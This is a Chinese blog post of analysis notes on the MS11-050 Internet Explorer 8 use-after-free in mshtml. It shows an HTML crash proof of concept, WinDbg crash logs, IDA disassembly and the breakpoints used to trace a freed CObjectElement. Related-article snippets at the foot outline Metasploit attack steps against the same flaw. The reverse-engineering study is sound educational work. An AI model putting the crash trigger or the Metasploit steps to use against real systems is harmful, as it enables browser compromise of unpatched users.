MS11-050 IE内存破坏尝试漏洞分析笔记(一)

最新推荐文章于 2021-05-26 17:59:53 发布
最新推荐文章于 2021-05-26 17:59:53 发布
阅读量303 收藏
点赞数
原文链接：http://www.cnblogs.com/Lamboy/p/3332314.html
版权

首先这并不是去分析这个漏洞，而是为了学习一点ie内部DOM结构，另外学习一些调试的技巧，至于能不能完整的分析完这个漏洞，我不好说...

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>分割线>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

1.POC：

<html><head><title></title></head><body>

<object align='right' hspace='1000' >TAG_1</object>
<form id='tag_3' style='float:left' >TAG_3</form>
A
<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>TAG_11</strong>

</body></html>

2.调试环境：XP SP3+IE8+Windbg

3.调试步骤

a.开启gflags堆页调试。

b.崩溃信息如下：

0:014> g
(250.2b8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0020d3a8 ecx=00200178 edx=00000000 esi=0208e380 edi=00000000
eip=6363fcc6 esp=0208e354 ebp=0208e36c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CElement::Doc+0x2:
6363fcc6 8b5070          mov     edx,dword ptr [eax+70h] ds:0023:00000070=????????

栈回溯信息：

0:008> kb
ChildEBP RetAddr  Args to Child              
0208e350 63602718 00000000 0020d3a8 0208eb98 mshtml!CElement::Doc+0x2
0208e36c 636026a3 0020d3a8 00000000 0020d3a8 mshtml!CTreeNode::ComputeFormats+0xb9
0208e618 63612a85 00210590 0020d3a8 0208e638 mshtml!CTreeNode::ComputeFormatsHelper+0x44
0208e628 63612a45 00210590 0020d3a8 0208e64c mshtml!CTreeNode::GetFancyFormatIndexHelper+0x11
0208e638 63612a2c 00210590 0020d3a8 0000001f mshtml!CTreeNode::GetFancyFormatHelper+0xf
0208e64c 637d29ab 0208e688 637d2906 00210590 mshtml!CTreeNode::GetFancyFormat+0x35
0208e654 637d2906 00210590 02c524a0 00000003 mshtml!CLineCore::AO_GetFancyFormat+0x23
0208e688 63675c93 00000000 00000003 00000000 mshtml!CRecalcLinePtr::RecalcMargins+0x19d
0208ee80 6369985f 0208eec0 0000001a 00000004 mshtml!CDisplay::RecalcLines+0x6e4
0208ef5c 6361c037 0000001e ffffffff 0208eec0 mshtml!CDisplay::WaitForRecalc+0x208
0208efac 636514de 0208f048 0208f048 636017f2 mshtml!CFlowLayout::Notify+0x7d7
0208efb8 636017f2 001ed710 0208f048 001ed7d4 mshtml!NotifyElement+0x41
0208f00c 6365134f 0021b7e8 00000000 001ed7d4 mshtml!CMarkup::SendNotification+0x60
0208f034 63666bc1 0208f048 001ed900 00000000 mshtml!CMarkup::Notify+0xd4
0208f07c 6361bf07 0000000f 00000000 00000000 mshtml!CElement::SendNotification+0x4a
0208f0a0 635d82b7 02c15510 00000000 00207518 mshtml!CElement::EnsureRecalcNotify+0x15f
0208f11c 635cc225 02c97da0 00000003 ffffffff mshtml!CDisplayPointer::MoveUnit+0x2b2
0208f208 635cc092 00207508 00202740 ffffffff mshtml!CHTMLEditor::AdjustPointer+0x16f
0208f23c 635cd2af 02c95bc0 00202740 ffffffff mshtml!CEditTracker::AdjustPointerForInsert+0x8b
0208f298 635cd123 001a0328 00202740 00000000 mshtml!CCaretTracker::PositionCaretAt+0x141

eax指向无效内存，eip指向0x6363fcc6，问题出在mshtml.dll模块，用IDA查看该模块异常处的代码：

.text:6363FCC4 ; public: class CDoc * __thiscall CElement::Doc(void)const
.text:6363FCC4 ?Doc@CElement@@QBEPAVCDoc@@XZ proc near ; CODE XREF: CPeerHolder::AttachPeer(IElementBehavior *)-3EFBCp
.text:6363FCC4                                         ; CElement::EnsureIdentityPeer(void)+32p ...
.text:6363FCC4                 mov     eax, [ecx]      <-------eax from ecx 
.text:6363FCC6                 mov     edx, [eax+70h]  <-------exception
.text:6363FCC9                 call    edx
.text:6363FCCB                 mov     eax, [eax+0Ch]
.text:6363FCCE                 retn
.text:6363FCCE ?Doc@CElement@@QBEPAVCDoc@@XZ endp

ecx信息：

0:008> dd ecx
00200178  00000000 00000000 00000000 00000000
00200188  00000000 00000000 00000000 00000000
00200198  eaa9f6db ff080000 000000e9 00000000
002001a8  00000000 00000000 00000000 00000000
002001b8  00000000 00000000 00000000 00000000
002001c8  00000000 00000000 00000000 00000000
002001d8  00000000 00000000 00000000 00000000
002001e8  00000000 00000000 00000000 00000000

 ecx指向一块无效的内存，根据栈回溯来到mshtml!CTreeNode::ComputeFormats：

.text:636026CF ; public: long __thiscall CTreeNode::ComputeFormats(class CFormatInfo *)
.text:636026CF ?ComputeFormats@CTreeNode@@QAEJPAVCFormatInfo@@@Z proc near
.text:636026CF                                         ; CODE XREF: CTreeNode::ComputeFormatsHelper(void)+3Fp
.text:636026CF                                         ; CGeneratedElement::ComputeFormatsVirtual(CFormatInfo *,CTreeNode *)+1B2p
.text:636026CF
.text:636026CF var_4           = dword ptr -4
.text:636026CF arg_0           = dword ptr  8
.text:636026CF
.text:636026CF ; FUNCTION CHUNK AT .text:636D9B4A SIZE 0000001B BYTES
.text:636026CF ; FUNCTION CHUNK AT .text:637E914F SIZE 00000133 BYTES
.text:636026CF
.text:636026CF                 mov     edi, edi
.text:636026D1                 push    ebp
.text:636026D2                 mov     ebp, esp
.text:636026D4                 and     esp, 0FFFFFFF8h
.text:636026D7                 push    ecx
.text:636026D8                 and     [esp+4+var_4], 0
.text:636026DC                 push    ebx
.text:636026DD                 mov     ebx, [ebp+arg_0]
.text:636026E0                 push    esi
.text:636026E1                 mov     esi, eax
.text:636026E3                 mov     eax, _WPP_GLOBAL_Control
.text:636026E8                 mov     ecx, [eax+30h]
.text:636026EB                 push    edi
.text:636026EC                 mov     edi, [eax+34h]
.text:636026EF                 mov     edx, ecx
.text:636026F1                 or      edx, edi
.text:636026F3                 jnz     loc_637E914F
.text:636026F9
.text:636026F9 loc_636026F9:                           ; CODE XREF: CTreeNode::ComputeFormats(CFormatInfo *)+1E6A84j
.text:636026F9                                         ; CTreeNode::ComputeFormats(CFormatInfo *)+1E6AA5j
.text:636026F9                 xor     edx, edx
.text:636026FB                 cmp     dword_63AB10AC, edx
.text:63602701                 jnz     loc_637E9179
.text:63602707
.text:63602707 loc_63602707:                           ; CODE XREF: CTreeNode::ComputeFormats(CFormatInfo *)+1E6ABDj
.text:63602707                                         ; CTreeNode::ComputeFormats(CFormatInfo *)+1E6AD0j ...
.text:63602707                 test    byte ptr [ebx+9], 10h
.text:6360270B                 jnz     loc_636D9B4A
.text:63602711                 mov     ecx, [ebx]
.text:63602713                 call    ?Doc@CElement@@QBEPAVCDoc@@XZ ; evil call

ecx来自ebx,ebx又来自arg_0,继续忘上层追踪，来的函数mshtml!CTreeNode::ComputeFormatsHelper：

.text:6360265F ; private: void __thiscall CTreeNode::ComputeFormatsHelper(void)
.text:6360265F ?ComputeFormatsHelper@CTreeNode@@AAEXXZ proc near
.text:6360265F                                         ; CODE XREF: CTreeNode::GetParaFormatIndexHelper(void)+2p
.text:6360265F                                         ; CTreeNode::GetCharFormatIndexHelper(void)+2p ...
.text:6360265F
.text:6360265F Dst             = byte ptr -298h
.text:6360265F var_1B4         = dword ptr -1B4h
.text:6360265F var_1A4         = dword ptr -1A4h
.text:6360265F var_4           = dword ptr -4
.text:6360265F
.text:6360265F                 mov     edi, edi
.text:63602661                 push    ebp
.text:63602662                 mov     ebp, esp
.text:63602664                 and     esp, 0FFFFFFF8h
.text:63602667                 sub     esp, 298h
.text:6360266D                 mov     eax, ___security_cookie
.text:63602672                 xor     eax, esp
.text:63602674                 mov     [esp+298h+var_4], eax
.text:6360267B                 push    esi
.text:6360267C                 push    edi
.text:6360267D                 lea     eax, [esp+2A0h+Dst]
.text:63602681                 push    eax             ; Dst
.text:63602682                 mov     esi, ecx        ; ecx is evil
.text:63602684                 call    ??0CFormatInfo@@QAE@XZ ; CFormatInfo::CFormatInfo(void)
.text:63602689                 and     [esp+2A0h+var_1B4], 0
.text:63602691                 and     [esp+2A0h+var_1A4], 0
.text:63602699                 push    esi             ; came from here
.text:6360269A                 lea     eax, [esp+2A4h+Dst]
.text:6360269E                 call    ?ComputeFormats@CTreeNode@@QAEJPAVCFormatInfo@@@Z ; CTreeNode::ComputeFormats(CFormatInfo *)

这里可以看到esi是ComputeFormats的第一个参数，而这个参数又来自ecx...到这里不要再往上追了，来仔细分析一下：

ecx是CTreeNode类的一个对象，因此，我们来找找CTreeNode是何时被创建的，定位到CTreeNode的构造函数：

text:635A31E6 ; public: __thiscall CTreeNode::CTreeNode(class CTreeNode *, class CElement *, int)
.text:635A31E6 ??0CTreeNode@@QAE@PAV0@PAVCElement@@H@Z proc near
.text:635A31E6                                         ; CODE XREF: CMarkup::CreateInitialMarkup(CRootElement *,ulong,int)+44p
.text:635A31E6                                         ; CHtmRootParseCtx::BeginElement(CTreeNode * *,CElement *,CTreeNode *,int)+33p ...
.text:635A31E6
.text:635A31E6 arg_0           = dword ptr  8
.text:635A31E6 arg_4           = byte ptr  0Ch
.text:635A31E6
.text:635A31E6 ; FUNCTION CHUNK AT .text:636BF2D1 SIZE 0000000E BYTES
.text:635A31E6
.text:635A31E6                 mov     edi, edi
.text:635A31E8                 push    ebp
.text:635A31E9                 mov     ebp, esp
.text:635A31EB                 mov     al, [ebp+arg_4]
.text:635A31EE                 or      word ptr [ecx+0Ah], 0FFFFh
.text:635A31F3                 or      word ptr [ecx+0Ch], 0FFFFh
.text:635A31F8                 or      word ptr [ecx+0Eh], 0FFFFh
.text:635A31FD                 shl     al, 4
.text:635A3200                 xor     al, [ecx+9]
.text:635A3203                 push    esi
.text:635A3204                 mov     esi, [ecx+40h]
.text:635A3207                 and     esi, 7
.text:635A320A                 and     al, 10h

因此我们再次载入poc，给构造函数下断点：

0:021> bp mshtml!CTreeNode::CTreeNode ".printf \" CTreeNode:node[%08x] \\n\",ecx;gc"0:021> g
CTreeNode:node[041e2510] 
CTreeNode:node[041e2618] 
CTreeNode:node[041e2618] 
CTreeNode:node[041e2778] 
CTreeNode:node[041e27d0] 
CTreeNode:node[041e2828] 
CTreeNode:node[041e2880] 
CTreeNode:node[041e2930] 
CTreeNode:node[041e2a38] 
CTreeNode:node[041e2a90] 
CTreeNode:node[041e2ae8] 
CTreeNode:node[041e2b40] 
CTreeNode:node[041e2bf0] 
CTreeNode:node[03145ce0] 
CTreeNode:node[03145ce0] 
CTreeNode:node[041e2988] 
CTreeNode:node[041e2a90] 
CTreeNode:node[041e2ae8] 
CTreeNode:node[041e29e0] 
CTreeNode:node[041e2b98] 
CTreeNode:node[03145d38] 
CTreeNode:node[03145e40] 
CTreeNode:node[03145d38] 
CTreeNode:node[03145e40] 
CTreeNode:node[041e2a38] 
CTreeNode:node[041e29e0] 
CTreeNode:node[041e2bf0] 
CTreeNode:node[041e2b40] 
CTreeNode:node[041e2930] 
CTreeNode:node[03145de8] 
CTreeNode:node[03145e98] 
CTreeNode:node[03145de8] 
CTreeNode:node[03145e98] 
CTreeNode:node[041e2a90] 
CTreeNode:node[041e2b40] 
CTreeNode:node[041e2b98] 
CTreeNode:node[041e2ae8] 
CTreeNode:node[041e2988] 
CTreeNode:node[03145ce0] 
CTreeNode:node[03145e40] 
CTreeNode:node[03145ef0] 
CTreeNode:node[03145ce0] 
CTreeNode:node[03145e40] 
CTreeNode:node[03145ef0] 
CTreeNode:node[041e2880] 
CTreeNode:node[041e2b40] 
CTreeNode:node[041e2988] 
CTreeNode:node[041e2b98] 
CTreeNode:node[041e2ae8] 
(590.688): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=e7000000 ebx=03145ce0 ecx=001f000d edx=00000000 esi=0208e380 edi=00000000
eip=6363fcc6 esp=0208e354 ebp=0208e36c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CElement::Doc+0x2:
6363fcc6 8b5070          mov     edx,dword ptr [eax+70h] ds:0023:e7000070=????????

可以看到在崩溃时ebx确实是CTreeNode的对象，那么ecx呢？

重新下断：

0:016> bp mshtml!CTreeNode::CTreeNode ".printf \" CTreeNode:node[%08x] Type:\",ecx;dds edi l1;gc"
0:016> g
 CTreeNode:node[02d3e4e0] Type:02cc42d0  635a21b0 mshtml!CRootElement::`vftable'
 CTreeNode:node[001fbc48] Type:0020e830  635a21b0 mshtml!CRootElement::`vftable'
 CTreeNode:node[001fbc48] Type:0020e830  635af580 mshtml!CHtmlElement::`vftable'
 CTreeNode:node[001fbe00] Type:0020ea10  635af850 mshtml!CHeadElement::`vftable'
 CTreeNode:node[001fbda8] Type:02d3c090  635afad0 mshtml!CTitleElement::`vftable'
 CTreeNode:node[001fbd50] Type:02d3bfb0  635ba8c0 mshtml!CBodyElement::`vftable'
 CTreeNode:node[001fbcf8] Type:00212120  635ad1f8 mshtml!CScriptElement::`vftable'
ModLoad: 63380000 63434000   C:\WINDOWS\system32\jscript.dll
 CTreeNode:node[02d3e538] Type:0020e8c0  635a21b0 mshtml!CRootElement::`vftable'
 CTreeNode:node[02d3e640] Type:0020eb90  635af580 mshtml!CHtmlElement::`vftable'
 CTreeNode:node[02d3e698] Type:02cc42a0  635af850 mshtml!CHeadElement::`vftable'
 CTreeNode:node[02d3e6f0] Type:02d3c1e0  635afad0 mshtml!CTitleElement::`vftable'
 CTreeNode:node[02d3e748] Type:002125f0  635ad1f8 mshtml!CScriptElement::`vftable'
 CTreeNode:node[02d3e7f8] Type:02d3c100  635ba8c0 mshtml!CBodyElement::`vftable'
 CTreeNode:node[02d3e850] Type:001f00e0  637666e0 mshtml!CObjectElement::`vftable'
 CTreeNode:node[02d3e850] Type:001f00e0  637666e0 mshtml!CObjectElement::`vftable'
 CTreeNode:node[02d3e590] Type:0020e8c0  635a21b0 mshtml!CRootElement::`vftable'
 CTreeNode:node[02d3e698] Type:0020eb90  635af580 mshtml!CHtmlElement::`vftable'
 CTreeNode:node[02d3e6f0] Type:02cc42a0  635af850 mshtml!CHeadElement::`vftable'
 CTreeNode:node[02d3e8a8] Type:02d3c100  635afad0 mshtml!CTitleElement::`vftable'
 CTreeNode:node[02d3e5e8] Type:02d3c1e0  635ba8c0 mshtml!CBodyElement::`vftable'
 CTreeNode:node[02d3e7a0] Type:001f01c8  637666e0 mshtml!CObjectElement::`vftable'
 CTreeNode:node[02d3e9b0] Type:00212580  63630788 mshtml!CAnchorElement::`vftable'
 CTreeNode:node[02d3e7a0] Type:001f01c8  637666e0 mshtml!CObjectElement::`vftable'
 CTreeNode:node[02d3e9b0] Type:00212580  63630788 mshtml!CAnchorElement::`vftable'
 CTreeNode:node[02d3e640] Type:0020e8c0  635a21b0 mshtml!CRootElement::`vftable'
 CTreeNode:node[02d3e8a8] Type:0020eb90  635af580 mshtml!CHtmlElement::`vftable'
 CTreeNode:node[02d3e958] Type:02cc42a0  635af850 mshtml!CHeadElement::`vftable'
 CTreeNode:node[02d3e7f8] Type:02d3c1a8  635afad0 mshtml!CTitleElement::`vftable'
 CTreeNode:node[02d3e748] Type:02d3c100  635ba8c0 mshtml!CBodyElement::`vftable'
 CTreeNode:node[02d3e538] Type:001f00e0  637666e0 mshtml!CObjectElement::`vftable'
 CTreeNode:node[02d3ea08] Type:002126d0  63630788 mshtml!CAnchorElement::`vftable'
 CTreeNode:node[02d3e538] Type:001f00e0  637666e0 mshtml!CObjectElement::`vftable'
 CTreeNode:node[02d3ea08] Type:002126d0  63630788 mshtml!CAnchorElement::`vftable'
 CTreeNode:node[02d3e698] Type:0020e8c0  635a21b0 mshtml!CRootElement::`vftable'
 CTreeNode:node[02d3e7f8] Type:0020eb90  635af580 mshtml!CHtmlElement::`vftable'
 CTreeNode:node[02d3e850] Type:02cc42a0  635af850 mshtml!CHeadElement::`vftable'
 CTreeNode:node[02d3e5e8] Type:02d3c170  635afad0 mshtml!CTitleElement::`vftable'
 CTreeNode:node[02d3e6f0] Type:02d3c1a8  635ba8c0 mshtml!CBodyElement::`vftable'
 CTreeNode:node[02d3e590] Type:001f01c8  637666e0 mshtml!CObjectElement::`vftable'
 CTreeNode:node[02d3e9b0] Type:00212660  63630788 mshtml!CAnchorElement::`vftable'
 CTreeNode:node[02d3ea60] Type:02cc40c0  6362fa90 mshtml!CPhraseElement::`vftable'
 CTreeNode:node[02d3e590] Type:001f01c8  637666e0 mshtml!CObjectElement::`vftable'
 CTreeNode:node[02d3e9b0] Type:00212660  63630788 mshtml!CAnchorElement::`vftable'
 CTreeNode:node[02d3ea60] Type:02cc40c0  6362fa90 mshtml!CPhraseElement::`vftable'
 CTreeNode:node[001fbcf8] Type:02cc42a0  635a21b0 mshtml!CRootElement::`vftable'
 CTreeNode:node[02d3e7f8] Type:02cc4060  635af580 mshtml!CHtmlElement::`vftable'
 CTreeNode:node[02d3e6f0] Type:02cc4300  635af850 mshtml!CHeadElement::`vftable'
 CTreeNode:node[02d3e850] Type:02d3c288  635afad0 mshtml!CTitleElement::`vftable'
 CTreeNode:node[02d3e5e8] Type:02d3c2c0  635ba8c0 mshtml!CBodyElement::`vftable'
(344.6d4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=02d3e590 ecx=001f0070 edx=00000000 esi=020de380 edi=00000000
eip=6363fcc6 esp=020de354 ebp=020de36c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CElement::Doc+0x2:
6363fcc6 8b5070          mov     edx,dword ptr [eax+70h] ds:0023:00000070=????????

可以看到在崩溃前的CTreeNode构造函数传递的参数类型是mshtml!CObjectElement::`vftable'

因此可以断定是CObjectElement对象出了问题，结合poc，应该是CObjectElement被释放后又重新被引用造成的use after free。

产生的问题：

1、什么时候释放的这个对象？

2、为什么会引用这个释放了的对象？

3、涉及到的CObjectElement、CTreeNode，这两个类到底是什么关系？

转载于:https://www.cnblogs.com/Lamboy/p/3332314.html

Hanxinyi930702
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
MS11-049：Microsoft XML Editor 信息泄露漏洞(2543893)(CVE-2011-1280)
02-09
该资源只提供sqlserver2008r2补丁安装...Microsoft 已发布一系列用于 SQL Server 2005、2008 和 2008 R2 的修补程序，详请参考：https://docs.microsoft.com/en-us/security-updates/securitybulletins/2011/ms11-049
MSF MS11-050/10-087/Adobe攻击实践及内存保护技术
weixin_30883777的博客
08-05 299
MSF MS11-050/10-087/Adobe攻击实践及内存保护技术 内存攻击指的是攻击者利用软件安全漏洞，构造恶意输入导致软件在处理输入数据时出现非预期错误，将输入数据写入内存中的某些特定敏感位置，从而劫持软件控制流，转而执行外部输入的指令代码，造成目标系统被获取远程控制或被拒绝服务。内存攻击表面原因是软件编写错误，注入过滤输入的条件设置缺陷、变量类型转换错误等，但根本原因是，现代电子计算机...
微软MS11-050漏洞的利用
qq_50854662的博客
05-26 685
微软MS11-050漏洞的利用 0x00 前言0x01 环境搭建1. 虚拟机系统2. 拓扑结构 0x02 利用过程1. 相互ping通2. 启动Metasploit3. 查找和MS11-050相关的模块4. 加载模块5. 设置所使用的payload6. 显示需要配置的选项7. 设置Web服务器的地址，应为BackTrack虚拟机的地址8. 目标主机被控制后反弹的地址，应为BackTrack虚拟机的地址9. 设置URIPATH10. exploit11. 等待目标机访问12. 查看会话13. 进入交互.
MSF MS11-050攻击实践及内存保护技术
weixin_30519071的博客
09-21 365
内存攻击指的是攻击者利用软件安全漏洞，构造恶意输入导致软件在处理输入数据时出现非预期错误，将输入数据写入内存中的某些特定敏感位置，从而劫持软件控制流，转而执行外部输入的指令代码，造成目标系统被获取远程控制或被拒绝服务。内存攻击表面原因是软件编写错误，注入过滤输入的条件设置缺陷、变量类型转换错误等，但根本原因是，现代电子计算机在实现图灵机模型时，没有在内存中严格区分数据和指令，这就存在程序...
IE浏览器MS11-050漏洞实战
自学编程_youkewang.top
03-05 3555
0x00：实验漏洞：MS11-050，目标机器：winXPSP3. 漏洞影响范围：   0x01：还是老套路，进入msf终端，然后搜索该漏洞的攻击模块，选择攻击载荷，如图1-1.   图1-1. 0x02：查看options中要设置的选项，如图1-2.   图1-2. 0x03：设置SRVHOST（目标回连的IP地址），LHOST（本地的IP地址），LPORT（本地端口），URI
20145335郝昊《网络攻防》Exp4 MS11_050
weixin_30896763的博客
04-12 121
20145335郝昊《网络攻防》Exp4 MS11_050 实验内容 初步掌握平台matesploit的使用 了解漏洞MS11_050漏洞：use-after-free漏洞,即对象被释放之后，对应指针并没有被置为NULL，被释放的内存中的数据可能会被其他对象的函数非法调用 影响范围:IE7 和IE 8 其他的版本好像并不存在这个漏洞。 实验步骤 使用命令msfconsole命令进入控制台 使...
实训-利用MS11-003 IE漏洞攻击win7主机.docx
02-27
利用MS11_003 IE漏洞攻击win7主机
MS11-046.rar_ms11_ms11-011_visual c
09-21
【标题】"MS11-046.rar_ms11_ms11-011_visual c" 涉及的是微软在2011年发布的一个安全更新，主要修复了Visual C++运行库中的一个严重漏洞，该漏洞编号为MS11-046。这个压缩包可能包含了用于理解和分析该漏洞的源代码...
MS11_080.zip_MS11-080_MS11_080_ms11_ms11-011_ms11080.exe
09-14
MS11-080_MS11_080_ms11_ms11-011_ms11080.exe"涉及的是微软在2011年发布的一个关键安全更新，解决了一个名为“Windows Kernel Use After Free”（Windows内核释放后使用）的严重漏洞，该漏洞被标识为MS11-080。...
深入分析MS11-058
12-02
深入分析MS11-058
MS11-050 IE内存破坏尝试漏洞分析笔记(二)
Hanxinyi930702的博客
10-10 353
前面分析过程遇到了一些问题，比如在最后中断在异常处发现对象大小和前面分配不符，后来在win7 32位下调试没有出现这种问题，下面是 win7 32位下的调试过程： 同样下断 0:013> x mshtml!CObjectElement::`vftable' 694e3dd8 mshtml!CObjectElement::`vftable' = <no type i...
MS11-050 Metasploit 利用
0ffs3t
11-17 1871
首先打开Metasploit选择msf > use exploit/windows/browser/ms11_050_mshtml_cobjectelement 然后配置选项  本机IP是 192.168.92.133 进行攻击 exploit 在被攻击电脑上执行http://192.168.92.133:8888/lenhook.html 返回Met
MS11-050安全漏洞
weixin_30470857的博客
04-09 482
IE浏览器渗透攻击——MS11050安全漏洞 实验前准备 1、两台虚拟机，其中一台为kali，一台为windows xp sp3（包含IE7）。 2、设置虚拟机网络为NAT模式，保证两台虚拟机可以相互间ping通（关闭靶机防火墙）。 实验步骤： 1、在kali终端中开启msfconsole。 2、输入命令use windows/browser/ms11_050_mshtml_cobjectelem...
漏洞分析中常用的堆调试支持
weixin_30835649的博客
06-21 112
　　我们在分析堆漏洞，如堆溢出、UAF等时常常会启用一些堆的调试支持。可能很多人都用过这些功能，比如gflags.exe，比如在分析UAF时使用的+UST +DPH等等。但是却很少有人了解这些东西到底是什么、是怎样发挥的作用。这里我就来讲解一下这几个调试机制。内容参考自《软件调试》，顺带说一句，个人感觉软件调试是一本不可多得的好书，作者不仅精通内核而且对用户层也有深入的了解，个人感觉可以和Wind...
ms11_050漏洞攻击
weixin_30362083的博客
04-16 349
ms11_050漏洞攻击 开启msfconsole 查看针对MS11_050漏洞的攻击模块 进入模块 查看该模块的具体信息 设置paylaods 查看具体参数设置 设置其相关参数 攻击 ie浏览器发生溢出 转载于:https://www.cnblogs.com/ljq007/p/6720870.html...
20145329 《网络对抗技术》浏览器MS11_050安全漏洞攻击
dgflxcwno867930904的博客
04-16 195
两台虚拟机： kali ip：192.168.96.130 windows xp sp3（包含IE7）ip：192.168.96.128 1、在kali终端中开启msfconsole。 2、进入漏洞模块:use windows/browser/ms11_050_mshtml_cobjectelement ,输入info查看模块信息（该漏洞能攻击winxp sp3的IE7浏览器） 3....
网络黑客攻防学习平台之选择题
baigoocn的专栏
05-18 5886
网络信息安全攻防学习平台学习地址： http://hackinglab.cn/index.php今天来看理论知识选择题，直接给出答案哈：1.主要用于加密机制的协议是( D）A. HTTP B. FTP C. TELNET D. SSL 2.向有限的空间输入超长的字符串是哪一种攻击手段？AA. 缓冲区溢出 B. 网络监听 C. 拒绝服务 D. IP欺骗 3.为了防御网络监听，最常用的方法是
经典内存漏洞简述
weixin_43926330的博客
11-11 1766
Type confusion 类型混乱确实是一个很有趣也是很精巧的一个内存漏洞。而type confusion导致RCE（remote code execution）在最近几年也多了起来。 其实就像是控制流劫持（control flow hijack）对象强制类型转换后导致虚拟页表的混乱，本来p类不能使用的经过强制类型转换后,可以使用d类的虚函数表并使用其中的函数。 具体到程序中的实际使用情况...
MS11-004漏洞全称
最新发布
03-19
MS11-004漏洞的全称是"Microsoft Windows Shell Graphics Processing Remote Code Execution Vulnerability"，该漏洞存在于Microsoft Windows操作系统的Shell Graphics Processing组件中。攻击者可以通过构造恶意的...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值